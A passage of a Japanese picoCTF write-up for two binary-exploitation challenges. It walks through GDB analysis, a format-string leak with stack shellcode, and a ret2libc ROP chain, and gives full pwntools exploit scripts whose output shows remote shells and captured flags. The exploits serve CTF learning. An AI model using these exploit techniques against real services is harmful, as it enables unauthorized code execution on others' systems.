0128| 0x7fffffffe250 --> 0x0 
0136| 0x7fffffffe258 --> 0x7ffff7a32f45 (<__libc_start_main+245>:       mov    edi,eax)
0144| 0x7fffffffe260 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
0152| 0x7fffffffe268 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")

次に 0x400721 に Breakpoint を置いて、strcpy 後のスタックを確認する。

Breakpoint 2, 0x0000000000400721 in main ()
gdb-peda$ stack 20
0000| 0x7fffffffe1d0 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
0008| 0x7fffffffe1d8 --> 0x100000000 
0016| 0x7fffffffe1e0 ('A' <repeats 98 times>, "\n")
0024| 0x7fffffffe1e8 ('A' <repeats 90 times>, "\n")
0032| 0x7fffffffe1f0 ('A' <repeats 82 times>, "\n")
0040| 0x7fffffffe1f8 ('A' <repeats 74 times>, "\n")
0048| 0x7fffffffe200 ('A' <repeats 66 times>, "\n")
0056| 0x7fffffffe208 ('A' <repeats 58 times>, "\n")
0064| 0x7fffffffe210 ('A' <repeats 50 times>, "\n")
0072| 0x7fffffffe218 ('A' <repeats 42 times>, "\n")
0080| 0x7fffffffe220 ('A' <repeats 34 times>, "\n")
0088| 0x7fffffffe228 ('A' <repeats 26 times>, "\n")
0096| 0x7fffffffe230 ('A' <repeats 18 times>, "\n")
0104| 0x7fffffffe238 ("AAAAAAAAAA\n")
0112| 0x7fffffffe240 --> 0x7fff000a4141 
0120| 0x7fffffffe248 --> 0x602010 ('A' <repeats 98 times>, "\n")
0128| 0x7fffffffe250 --> 0x0 
0136| 0x7fffffffe258 --> 0x7ffff7a32f45 (<__libc_start_main+245>:       mov    edi,eax)
0144| 0x7fffffffe260 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
0152| 0x7fffffffe268 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")

A が格納されている箇所が、0x7fffffffe1e0 なので、このアドレスをリターンアドレスに書き込めばよい。 0x7fffffffe338 を Format String Bug でリークさせて 0x158 を引けば、0x7fffffffe1e0 になる。

%p をいくつか入力して、何番目の場所をリークさせればよいのかを確認する。 6 行目の箇所がちょうど GDB で確認したときの 0x7fffffffe338 の位置に該当するので、ここをリークさせればよい。

$ python3 -c "print('%p.' * 20)" | ./gauntlet | tr "." "\n" | nl
     1  0x7ffff7ff603d
     2  0x7ffff7dd59f0
     3  0x70252e70252e7025
     4  0x7ffff7ff603d
     5  0x70252e70252e7025
     6  0x7fffffffe348
     7  0x100000000
     8  (nil)
     9  0x7fffffffe358
    10  0x1
    11  0x7fffffffe280
    12  0x7ffff7ffe1c8
    13  (nil)
    14  0x1
    15  0x40077d
    16  0x7fffffffe260
    17  (nil)
    18  0x400730
    19  0x4005a0
    20  0x7fffffffe340

上記の情報を基に、スクリプトを書いて実行すると、シェルを取ることができた。

#!/usr/bin/env python3
from pwn import *

ARCH = 'amd64'
FILE = './gauntlet'
LIBC = ''
HOST = 'mercury.picoctf.net'
PORT = 49704

GDB_SCRIPT = '''
    break *0x004006da
    break *0x00400721
    continue
'''

def exploit(io, elf, libc, rop):
    payload = b'%6$p'
    io.sendline(payload)

    rdata = io.readuntil(b'\n').strip()
    buf_addr = int(rdata, 16) - 0x158
    log.info(f'buffer address: {hex(buf_addr)}')

    offset = 120
    shellcode = asm(shellcraft.sh())

    payload = b''
    payload += shellcode
    payload += b'A' * (offset - len(shellcode))
    payload += pack(buf_addr)
    log.info(f'payload: {payload}')

    io.sendline(payload)

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py REMOTE
[*] '/root/workdir/gauntlet'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] Loaded 14 cached gadgets for './gauntlet'
[+] Opening connection to mercury.picoctf.net on port 49704: Done
[*] buffer address: 0x7ffeb28c5080
[*] payload: b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80P\x8c\xb2\xfe\x7f\x00\x00'
[*] Switching to interactive mode
$ id
uid=1307(binary-gauntlet-2_4) gid=1308(binary-gauntlet-2_4) groups=1308(binary-gauntlet-2_4)
$ ls
flag.txt
gauntlet
xinet_startup.sh
$ cat flag.txt
230fc5c335f1fe302abdc387d498fe40

230fc5c335f1fe302abdc387d498fe40

Here's a LIBC - 90 points

I am once again asking for you to pwn this binary vuln libc.so.6 Makefile nc mercury.picoctf.net 49464

Ghidra でデコンパイルすると、以下のようになった。

f:id:tsalvia:20210406064657p:plain

Buffer Overflow の脆弱性があるので、pattc と patto でリターンアドレスまでのオフセットを探す。

$ gdb ./vuln -q
Reading symbols from ./vuln...(no debugging symbols found)...done.
gdb-peda$ pattc 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run
Starting program: /root/workdir/vuln 
WeLcOmE To mY EcHo sErVeR!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
[----------------------------------registers-----------------------------------]
RAX: 0x7a ('z')
RBX: 0x0 
RCX: 0x7ffff7b003c0 (<__write_nocancel+7>:      cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd59e0 --> 0x0 
RSI: 0x7ffff7dd4483 --> 0xdd59e0000000000a 
RDI: 0x1 
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x400770 (<do_stuff+152>:  ret)
R8 : 0x7ffff7dd59e0 --> 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x246 
R12: 0x1b 
R13: 0x0 
R14: 0x1b 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400769 <do_stuff+145>:     call   0x400540 <puts@plt>
   0x40076e <do_stuff+150>:     nop
   0x40076f <do_stuff+151>:     leave  
=> 0x400770 <do_stuff+152>:     ret    
   0x400771 <main>:     push   rbp
   0x400772 <main+1>:   mov    rbp,rsp
   0x400775 <main+4>:   push   r15
   0x400777 <main+6>:   push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffe190 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7fffffffe198 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0x7fffffffe1a0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7fffffffe1a8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7fffffffe1b0 ("AuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7fffffffe1b8 ("AAYAAwAAZAAxAAyA")
0056| 0x7fffffffe1c0 ("ZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400770 in do_stuff ()
gdb-peda$ patto AAQAAmAARAAoAASAApA
AAQAAmAARAAoAASAApA found at offset: 136

上記より、136 がリターンアドレスまでのオフセットだと分かった。

次に、Buffer Overflow の脆弱性を利用して puts を呼び出し、puts の GOT のアドレスを出力させる。出力させたアドレスを基に libc のベースアドレスを求める。

また、puts を呼び出した後に再度 main を呼び出して、もう一度 Buffer Overflow を起こせる状態にしておく。

#!/usr/bin/env python3
from pwn import *

ARCH = 'amd64'
FILE = './vuln'
LIBC = './lib/libc.so.6'
HOST = 'mercury.picoctf.net'
PORT = 49464

GDB_SCRIPT = '''
    break *0x00400769
    continue
'''


def exploit(io, elf, libc, rop):
    puts_got = elf.got['puts']
    log.info(f'puts_got: {hex(puts_got)}')

    rop.call('puts', [puts_got])
    rop.call('main')
    log.info(rop.dump())

    offset = 136
    payload = b'A' * offset
    payload += rop.chain()
    log.info(hexdump(payload))

    io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', payload)
    io.readuntil('\n') # skip
    io.readuntil('\n') # skip

    rdata = io.readuntil('\n').strip()
    puts_addr = int.from_bytes(rdata, 'little')
    log.info(f'puts_addr: {hex(puts_addr)}')

    puts_offset = libc.symbols['puts']
    libc_base = puts_addr - puts_offset
    log.info(f'libc_base: {hex(libc_base)}')


def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py
[*] '/root/workdir/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./'
[*] Loaded 14 cached gadgets for './vuln'
[+] Starting local process './vuln': pid 827
[*] '/lib/x86_64-linux-gnu/libc-2.19.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] puts_got: 0x601018
[*] 0x0000:         0x400913 pop rdi; ret
    0x0008:         0x601018 [arg0] rdi = got.puts
    0x0010:         0x400540 puts
    0x0018:         0x400771 main()
[*] 00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  13 09 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000090  18 10 60 00  00 00 00 00  40 05 40 00  00 00 00 00  │··`·│····│@·@·│····│
    000000a0  71 07 40 00  00 00 00 00                            │q·@·│····│
    000000a8
[*] puts_addr: 0x7ffff7a80d60
[*] libc_base: 0x7ffff7a11000
[*] Switching to interactive mode
WeLcOmE To mY EcHo sErVeR!

libc のベースアドレスを求めることができたので、最後に ROPgadget で ROP chain を作成して、シェルを取得する。

$ ROPgadget --binary lib/libc.so.6 --ropchain --badbytes "0a" | sed -e "s/'<Q', /libc_base + /g" | sed -e "s/= '/= b'/g"

        # snip

        p = b''

        p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
        p += pack(libc_base + 0x00000000003eb1a0) # @ .data
        p += pack(libc_base + 0x0000000000043a78) # pop rax ; ret
        p += b'/bin//sh'
        p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret
        p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
        p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
        p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret
        p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret
        p += pack(libc_base + 0x000000000002155f) # pop rdi ; ret
        p += pack(libc_base + 0x00000000003eb1a0) # @ .data
        p += pack(libc_base + 0x0000000000023e8a) # pop rsi ; ret
        p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
        p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
        p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
        p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
        p += pack(libc_base + 0x00000000000013c0) # syscall

先ほどのスクリプトに追記して実行すると、シェルを取ることができた。

#!/usr/bin/env python3
from pwn import *

ARCH = 'amd64'
FILE = './vuln'
LIBC = './lib/libc.so.6'
HOST = 'mercury.picoctf.net'
PORT = 49464

GDB_SCRIPT = '''
    break *0x00400769
    continue
'''

def exploit(io, elf, libc, rop):
    puts_got = elf.got['puts']
    log.info(f'puts_got: {hex(puts_got)}')

    rop.call('puts', [puts_got])
    rop.call('main')
    log.info(rop.dump())

    offset = 136
    payload = b'A' * offset
    payload += rop.chain()
    log.info(hexdump(payload))

    io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', payload)
    io.readuntil('\n') # skip
    io.readuntil('\n') # skip

    rdata = io.readuntil('\n').strip()
    puts_addr = int.from_bytes(rdata, 'little')
    log.info(f'puts_addr: {hex(puts_addr)}')

    puts_offset = libc.symbols['puts']
    libc_base = puts_addr - puts_offset
    log.info(f'libc_base: {hex(libc_base)}')

    offset = 136
    p = b'A' * offset

    p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
    p += pack(libc_base + 0x00000000003eb1a0) # @ .data
    p += pack(libc_base + 0x0000000000043a78) # pop rax ; ret
    p += b'/bin//sh'
    p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret
    p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
    p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
    p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret
    p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret
    p += pack(libc_base + 0x000000000002155f) # pop rdi ; ret
    p += pack(libc_base + 0x00000000003eb1a0) # @ .data
    p += pack(libc_base + 0x0000000000023e8a) # pop rsi ; ret
    p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
    p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
    p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
    p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret
    p += pack(libc_base + 0x00000000000013c0) # syscall

    io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', p)

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py REMOTE
[*] '/root/workdir/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./'
[*] Loaded 14 cached gadgets for './vuln'
[+] Opening connection to mercury.picoctf.net on port 49464: Done
[*] '/root/workdir/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] puts_got: 0x601018
[*] 0x0000:         0x400913 pop rdi; ret
    0x0008:         0x601018 [arg0] rdi = got.puts
    0x0010:         0x400540 puts
    0x0018:         0x400771 main()
[*] 00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  13 09 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000090  18 10 60 00  00 00 00 00  40 05 40 00  00 00 00 00  │··`·│····│@·@·│····│
    000000a0  71 07 40 00  00 00 00 00                            │q·@·│····│
    000000a8
[*] puts_addr: 0x7f8741ebca30
[*] libc_base: 0x7f8741e3c000
[*] Switching to interactive mode

AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd
$ id
uid=1559(here-s-a-libc_4) gid=1560(here-s-a-libc_4) groups=1560(here-s-a-libc_4)
$ ls
flag.txt
libc.so.6
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}

picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}